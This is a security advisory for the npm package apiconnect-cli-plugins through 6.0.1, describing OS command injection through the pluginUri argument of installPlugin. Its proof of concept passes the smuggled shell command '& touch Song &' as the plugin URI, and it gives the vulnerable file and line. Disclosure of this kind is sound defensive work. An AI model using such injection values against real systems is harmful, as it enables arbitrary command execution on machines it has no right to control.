GHSA-c9m9-48pw-6mpv
apiconnect-cli-plugins vulnerable to OS Command Injection
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | apiconnect-cli-plugins | <= 6.0.1 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the `pluginUri` argument.
### PoC
```js
var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");
```
The injection point is located in line 181 of file `lib/plugin-loader.js`, in the function `installPlugin(pluginUri, registryUri)`.
References
External links from the advisory. They lead to third-party sites.